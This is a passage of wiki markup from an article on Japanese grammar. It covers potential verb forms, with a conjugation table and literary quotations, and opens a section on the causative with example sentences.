составляется.|script-quote=ja:<ruby>面<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby><ruby>貌<rp>(</rp><rt>だち</rt><rp>)</rp></ruby>を見識ツてゐればゐるほど、浮びにくゝて、其<ruby>印象<rp>(</rp><rt>あとかた</rt><rp>)</rp></ruby>が判然しない、憶出せても目に見えない……自身の顏などは到底想像しられないもので……瑣末な一局部は<ruby>明<rp>(</rp><rt>めい</rt><rp>)</rp></ruby><ruby>亮<rp>(</rp><rt>りやう</rt><rp>)</rp></ruby>にわかるが、全體が成立たない。|trans-quote=The more familiar the faces, the more difficult they are to picture, the less clear their impression; you cannot see them even if you can recall them…… It is impossible to visualize even your own face…… The most minute feature is clearly known, but the whole image will not come together.|page=188|script-title=ja:二葉亭四迷全集|trans-title=The Complete Works of Futabatei Shimei|script-chapter=ja:めぐりあひ|trans-chapter=Encounters|chapter=Три встречи|first=Ivan Sergeyevich|last=Turgenev|authorlink=Ivan Turgenev|translator-link=Futabatei Shimei|translator-last=Futabatei|translator-first=Shimei|orig-year=1888|volume=1|date=26 September 1964|location=[[Chiyoda, Tokyo]]|publisher=Iwanami Shoten}}</ref> were seldom used for Group‑A verbs, but they have been supplanted by ''(suru koto ga) dekiru'', which figured in a trend towards disambiguating the polysemous passive potential during the [[Meiji era]].<ref>{{#invoke:cite|journal|lang=ja|script-title=ja:可能表現としての「出来る」に関する一考察|script-journal=ko:日語日文學|journal=Journal of Japanese Language and Literature|volume=31|date=August 2006|last=Ha|first=Kyung-Hoon|pages=123–134 |url=https://www.dbpia.co.kr/journal/articleDetail?nodeId=NODE00775162}}</ref> Non‑Group‑A verbs, which have become more like ''godan'' (partially or completely), do have potential verbs, such as {{#invoke:nihongo|nihongo||愛せる|aiseru|{{gloss|can love}}}} (short)/{{#invoke:nihongo|nihongo||愛される|aisareru|{{gloss|can love; be loved}}}} (long), {{#invoke:nihongo|nihongo||無くせる|nakuseru|{{gloss|can lose}}}}/{{#invoke:nihongo|nihongo||無くされる|nakusareru|{{gloss|can lose; be lost}}}}, etc; or more like ''ichidan'', although probably without ''ra‑nuki kotoba'', as in {{#invoke:nihongo|nihongo||応じられる・応ぜられる|ōjirareru/ōzerareru|{{gloss|can respond}}}},{{sfnp|Martin|2004|pp=301–302, 850–851}} or with it, as in {{#invoke:nihongo|nihongo||信じれる|shinjireru|{{gloss|can believe}}}}.<ref name=asakawa-2016/>
Writers can make use of various ways to convey potentiality, such as how [[Natsume Sōseki]] used a short potential verb (''aisezu''), a long passive potential verb (''irarenai''), ''koto'' + particle + ''dekiru'' (''hirogete dakishimeru koto no dekinai'') and ''eru/uru'' (''aishiuru'') in the same sentence in the novel ''[[Kokoro]]'': {{#invoke:nihongo|nihongo||人間を'''愛し得る'''人、'''愛せず'''には'''ゐられない'''人、それでゐて自分の懷に入らうとするものを、手を'''ひろげて抱き締める事の出來ない'''人、――是が先生であつた。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>人<rp>(</rp><rt>にん</rt><rp>)</rp></ruby><ruby>間<rp>(</rp><rt>げん</rt><rp>)</rp></ruby>を<ruby>愛<rp>(</rp><rt>あい</rt><rp>)</rp></ruby>し<ruby>得<rp>(</rp><rt>う</rt><rp>)</rp></ruby>る<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>、<ruby>愛<rp>(</rp><rt>あい</rt><rp>)</rp></ruby>せずにはゐられない<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>、それでゐて<ruby>自<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>分<rp>(</rp><rt>ぶん</rt><rp>)</rp></ruby>の<ruby>懷<rp>(</rp><rt>ふところ</rt><rp>)</rp></ruby>に<ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>らうとするものを、<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>をひろげて<ruby>抱<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>き<ruby>締<rp>(</rp><rt>し</rt><rp>)</rp></ruby>める<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>の<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby><ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>ない<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>、――<ruby>是<rp>(</rp><rt>これ</rt><rp>)</rp></ruby>が<ruby>先<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>生<rp>(</rp><rt>せい</rt><rp>)</rp></ruby>であつた。|url=https://dl.ndl.go.jp/pid/1259864/1/18|page=21|script-title=ja:心 道草|trans-title=Heart. [[Grass on the Wayside]]|script-chapter=ja:こゝろ|trans-chapter=[[Kokoro|Heart]]|series={{#invoke:lang|lang|ja|漱石全集}}|volume=8|date=5 December 1935|authorlink=Natsume Sōseki|last=Natsume|first=Sōseki|publisher={{#invoke:lang|lang|ja|漱石全集刊行會}}}}</ref>|Ningen o '''aishiuru''' hito, '''aisezu''' ni wa '''irarenai''' hito, sore de ite jibun no futokoro ni irō to suru mono o, te o '''hirogete dakishimeru koto no dekinai''' hito,――kore ga sensei de atta.|{{xlat|A person who '''could love''', a person who '''could not be without being able to love''', yet a person who '''was incapable of opening''' his arms and '''embracing''' someone trying to get into his heart,――that was Sensei.}}}}; or how [[:ja:宮原晃一郎|Miyahara Kōichirō]] used ''koto'' + particle + ''dekiru'' (''shinu koto no dekinai'', ''nete iru koto no dekinai''), and both the long passive potential (''shinareru'') and short potential (''shinenai'') of the same verb in his translation of [[Either/Or (Kierkegaard book)|Kierkegaard's ''Either/Or'']]: {{#invoke:nihongo|nihongo||卽ち、'''死ぬことの出來ない'''人、[…]墓に'''寢てゐることの出來ない'''人は最大不幸の人であるから。で、話は解決がついて、答へは容易になつた。なぜかと言へば、'''死ねない'''者は最大不幸者で、'''死なれる'''者は幸福者であるからだ。<ref name=miyahara-1956-shinareru/>|Sunawachi, '''shinu koto no dekinai''' hito, […] haka ni '''nete iru koto no dekinai''' hito wa saidai fukō no hito de aru kara. De, hanashi wa kaiketsu ga tsuite, kotae wa yōi ni natta. Naze ka to ieba, '''shinenai''' mono wa saidai fukōmono de, '''shinareru''' mono wa kōfukumono de aru kara da.|{{xlat|To wit, he who '''could not die''', '''could not lie''' in a grave, was the unhappiest man. Thus, the case would be settled, the answer simple, for the unhappiest man was he who '''could not die''', and happy he who '''could'''.}}}}
{| class="wikitable"
|-
! Dictionary form
! colspan=3 | Pattern {{sfnp|Makino|Tsutsui|2018|pp=576-579|loc="Appendix 1 Basic Conjugations" (Verbs)}}
! Potential form
|-
! colspan=5 style=text-align:left | ''Godan'' and pseudo‑''yodan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|fasten|結う|yuu/yū}}
| style=text-align:right | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|え}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can fasten / can be fastened / be fastenable|結える|yueru}}
|-
| {{#invoke:nihongo|nihongo_krt|say|<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>う|yū}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いえ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can say / can be said / be sayable|言える|ieru}}
|-
| {{#invoke:nihongo|nihongo_krt|win|勝つ|katsu}}
| style=text-align:right | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|つ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|て}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can win|勝てる|kateru}}
|-
| {{#invoke:nihongo|nihongo_krt|hunt|狩る|karu}}
| style=text-align:right | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|れ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can hunt / can be hunted / be huntable|狩れる|kareru}}
|-
| {{#invoke:nihongo|nihongo_krt|lend|貸す|kasu}}
| style=text-align:right | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can lend / can be lended / be lendable|貸せる|kaseru}}
|-
| {{#invoke:nihongo|nihongo_krt|love|愛す|aisu}}
| style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can love / can be loved / be lovable|愛せる|aiseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:それは,自己を愛すことで,他人をも愛せる力の源となり必要なものなのである。|page=81|url=https://aichiu.repo.nii.ac.jp/record/267/files/04hattori.indd.pdf|last=Hattori|first=Shigeru|script-title=ja:Edgar Linton論 ―愛と階級―|script-journal=ja:言語と文化|publisher=Aichi University|volume=49|number=22|year=2010}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ロイは…人を愛せるのかしら どんな人間でも人を愛せるよ だが人を愛すというのは人の愛を受け入れられるということだ ロイは今それを忘れているのだろう|script-title=ja:天使のたくらみ|title=Those Christmas Angels|last=Kurebayashi|first=Tsukiko|publisher=Harlequin|date=30 January 2013}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|reach|達す|tassu}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can reach / can be reached / be reachable|達せる|tasseru}}<ref name=yamashita-2023/><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:既に一万部に達せるを以て、[…]価額約壱万四千餘円に達すと云ふ。|pp=476, 485|script-chapter=ja:第十九編 觀光|script-title=ja:左賀市史|date=1 October 1952|location=Matsubara, [[Saga (city)|Saga]], [[Saga Prefecture|Saga]]|url=https://www.city.saga.lg.jp/site_files/file/usefiles/downloads/s33349_20120903054049.pdf|volume=2|publisher={{#invoke:lang|lang|ja|佐賀市役所}}}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|write|書く|kaku}}
| style=text-align:right | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|け}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can write / can be written / be writable|書ける|kakeru}}
|-
| {{#invoke:nihongo|nihongo_krt|smell|嗅ぐ|kagu}}
| style=text-align:right | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぐ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|げ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can smell / can be smelled / be smellable|嗅げる|kageru}}
|-
| {{#invoke:nihongo|nihongo_krt|call|呼ぶ|yobu}}
| style=text-align:right | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぶ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|べ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can call / can be called / be callable|呼べる|yoberu}}
|-
| {{#invoke:nihongo|nihongo_krt|read|読む|yomu}}
| style=text-align:right | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|む}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|め}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can read / can be read / be readable/legible|読める|yomeru}}<ref name=yamamoto-1996>{{#invoke:cite|book|lang=ja|quote=The new old gentleman says:<br>"If you please, let me explain. Nobody can read my hand but my brother there—so he copies for me. It's ''his'' hand you've got there, not mine."|script-quote=ja:新しく来たほうの紳士が言った。<br>「よろしければ、説明させてもらいたい。私の字を読めるのは、ここの私の弟だけで――私の清書をしてくれるのです。あなたがお持ちの手紙は<span style=text-emphasis:sesame>弟の</span>筆跡で私のじゃありませなんだ」|authorlink=Mark Twain|first=Mark|last=Twain|script-chapter=ja:第二十九章 ほんものとにせもの――王様、金袋の紛失を説明する――筆跡の疑問――死骸を掘り返す――ハック、逃げる|chapter=Chapter XXIX. Contested Relationship.—The King Explains the Loss.—A Question of Handwriting.—Digging up the Corpse.—Huck Escapes.|series=Mark Twain Collection|volume=7|translator-last=Yamamoto|translator-first=Chōichi|publisher=Sairyusha|title=[[Adventures of Huckleberry Finn]]|script-title=ja:ハックルベリィ・フィンの冒険|date=30 March 1996}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|die|死ぬ|shinu}}
| style=text-align:right | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぬ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ね}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can die|死ねる|shineru}}
|-
! colspan=5 style=text-align:left | ''Ichidan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|look|見る|miru}}
| style=text-align:right | {{#invoke:lang|lang|ja|見}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|見}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can look / can be seen / be seeable/viewable/watchable/visible|見(ら)れる|mi(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達しる|tasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達し}}<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can reach / can be reached / be reachable|達し(ら)れる|tasshi(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||達せ(ら)れる|tasse(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察しる|sasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察し}}<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can guess / can be guessed / be guessable|察し(ら)れる|sasshi(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||察せ(ら)れる|sasse(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|believe|信じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信じ}}<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can believe / can be believed / be believable/trustable|信じ(ら)れる|shinji(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||信ぜ(ら)れる|shinze(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ぜる|shinzeru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進ぜ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進ぜ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can give / can be given / be givable|進ぜ(ら)れる|shinze(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|exit|出る|deru}}
| style=text-align:right | {{#invoke:lang|lang|ja|出}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|出}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can exit|出(ら)れる|de(ra)reru}}
|-
! colspan=5 style=text-align:left | Irregular verbs
|-
| {{#invoke:nihongo|nihongo_krt|do|する|suru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|する}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|できる}}</span>'''
| style=border-left:none |
| {{#invoke:nihongo|nihongo_krt|can do / can be done / be doable/feasible|出来る|dekiru}}
|-
| {{#invoke:nihongo|nihongo_krt|study|勉強する|benkyō suru}}
| style=text-align:right | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|する}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|できる}}</span>'''
| style=border-left:none |
| {{#invoke:nihongo|nihongo_krt|can study / can be studied / be studiable|勉強できる|benkyō dekiru}}
|-
| {{#invoke:nihongo|nihongo_krt|love|愛する|aisuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can love / can be loved / be lovable|愛せる|aiseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:すなわち、たとえアガペー的な愛であったとしても、他人を愛する、あるいは他人の役に立つことによって、他人を愛せる、あるいは他人に役に立つ自分には価値があるといった自己の存在価値を確認することができるというのである。|page=65|url=https://tsurumi-u.repo.nii.ac.jp/record/82/files/47_3_09_yamamuro.pdf|first=Yoshitaka|last=Yamamuro|script-title=ja:教員養成校における教育愛の取り扱いについて|title=Teaching of Educational Love in Training Program for Teachers|script-journal=ja:鶴見大学紀要|number=47|year=2010}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達する|tassuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|る}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can reach / can be reached / be reachable|達せる|tasseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:「病気はコントロールできる状態」に自力で達せるか、見極めていく。[…]「病気はコントロールできる状態」に達することができた人がいたなら、その人から答えてもらう。|url=https://www.jstage.jst.go.jp/article/bjssace/46/0/46_21/_article/-char/ja/|script-title=ja:『看護覚え書』に学ぶ生活科学ガイドブック|last=Ogō|first=Kazutoshi|script-journal=ja:日本社会教育学会紀要 |date=20 September 2020 |volume=46 |pp=21–30 |doi=10.34530/bjssace.46.0_21 }}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can reach / can be reached / be reachable|達せ(ら)れる|tasse(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||達し(ら)れる|tasshi(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察する|sassuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can guess / can be guessed / be guessable|察せ(ら)れる|sasse(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||察し(ら)れる|sasshi(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|believe|信ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can believe / can be believed / be believable/trustable|信ぜ(ら)れる|shinze(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||信じ(ら)れる|shinji(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can give / can be given / be givable|進ぜ(ら)れる|shinze(ra)reru}}<br>{{#invoke:nihongo|nihongo_krt||進じ(ら)れる|shinji(ra)reru}}
|-
| {{#invoke:nihongo|nihongo_krt|come|来る|kuru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|(ら)れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|can come|来(ら)れる|ko(ra)reru}}
|}
=== Potential: Grammatical compatibility ===
A potential verb is an ''ichidan'' verb, and can be conjugated further mostly in the same way an ''ichidan'' verb can be, although it may resist the [[Japanese conjugation#Imperative|imperative]] due to semantic difficulty.
{{anchor|使役形|shiekikei}}
== Causative ==
{{#invoke:Nihongo|nihongo|'''Causativity'''|[[:ja:使役|使役]]|shieki}} expresses how an instigator causes an [[Agent (grammar)|agent]] to do something, whether by ''making'' or ''letting'' the agent (A) do it.{{sfnp|Martin|2004|p=294}} The instigator (I) is marked with the nominative ''ga'', while the agent is customarily marked with either ''ni'' or ''o'' depending on the original verb's transitivity:{{sfnp|Martin|2004|p=293}}
*Active with an intransitive verb: {{#invoke:nihongo|nihongo||Aが来る|A ga kuru|{{gloss|A comes}}}}
**Causative: {{#invoke:nihongo|nihongo||IがAを来させる|I ga A o kosaseru|{{gloss|I has A come}}}}
*Active with a transitive verb: {{#invoke:nihongo|nihongo||AがPを呼ぶ|A ga P o yobu|{{gloss|A calls P}}}}
**Causative: {{#invoke:nihongo|nihongo||IがAにPを呼ばせる|I ga A ni P o yobaseru|{{gloss|I has A call P}}}}
For some speakers, the agent can be marked with ''ni'' even with an intransitive verb, which is possibly intended to mean "I ''lets'' A come" rather than "I ''makes'' A come"; or marked with ''o'' even with a transitive verb, despite the presence of the other ''o'' marking the [[Patient (grammar)|patient]] (P). This means that the presence of the particle ''o'' does not guarantee clear meaning, for example in {{#invoke:nihongo|nihongo||牛を食べさせる|ushi o tabesaseru|{{gloss|has the cow eat; has someone eat the cow}}}}, {{#invoke:nihongo|nihongo||太郎を待たせる|Tarō o mataseru|{{gloss|has Tarō wait; has someone wait for Tarō}}}}.{{sfnp|Martin|2004|p=293}} In more elevated text, the agent can be marked with ''o shite'' instead of just ''o''.<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%82%92%E3%81%97%E3%81%A6-666114|script-title=ja:をして|script-work=ja:コトバンク}}</ref>
{| class="wikitable"
|+ style=text-align:left | Causative form example sentences
|-
! English
! Japanese
! Function
|-
| I had one of my staff attend the conference.
| {{#invoke:Nihongo|nihongo||会議には部下'''を出席させた'''|Kaigi ni wa buka '''o shusseki saseta'''}}
| rowspan=10 | compulsion ("make do")
|-
| "You had him killed—hired Whidden and then didn't pay him. […]"
| {{#invoke:Nihongo|nihongo||「君は彼'''を殺させた'''のだ――つまりホイッドン'''を'''雇って'''殺させた'''のだが、そのとき君は彼に払わなかった。[…]」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「君は彼を殺させたのだ――つまりホイッドンを雇って殺させたのだが、そのとき君は彼に払わなかった。そこでホイッドンは、君のほしがっているものがガブリエルだということを知って、彼女を誘拐して、金のかたにおさえてしまった。われわれがホイッドンを追いつめたとき、彼の弾丸がいちばん近くに落ちたのは君だったということを忘れないだろうね」|quote="You had him killed—hired Whidden and then didn't pay him. He kidnapped the girl then, holding her for his money, knowing she was what you wanted. It was you his bullet came closest to when we cornered him."|script-chapter=ja:二十二 告白|chapter=XXII:Confessional|first=Samuel Dashiell|last=Hammett|authorlink=Dashiell Hammett|translator-first=Hiroo|translator-last=Murakami|orig-date=29 February 1956|date=17 April 2015|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|script-title=ja:デイン家の呪い|title=[[The Dain Curse]]}}</ref>|"Kimi wa kare '''o korosaseta''' no da――tsumari Hoiddon '''o''' yatotte '''korosaseta''' no da ga, sono toki kimi wa kare ni harawanakatta. […]"}}
|-
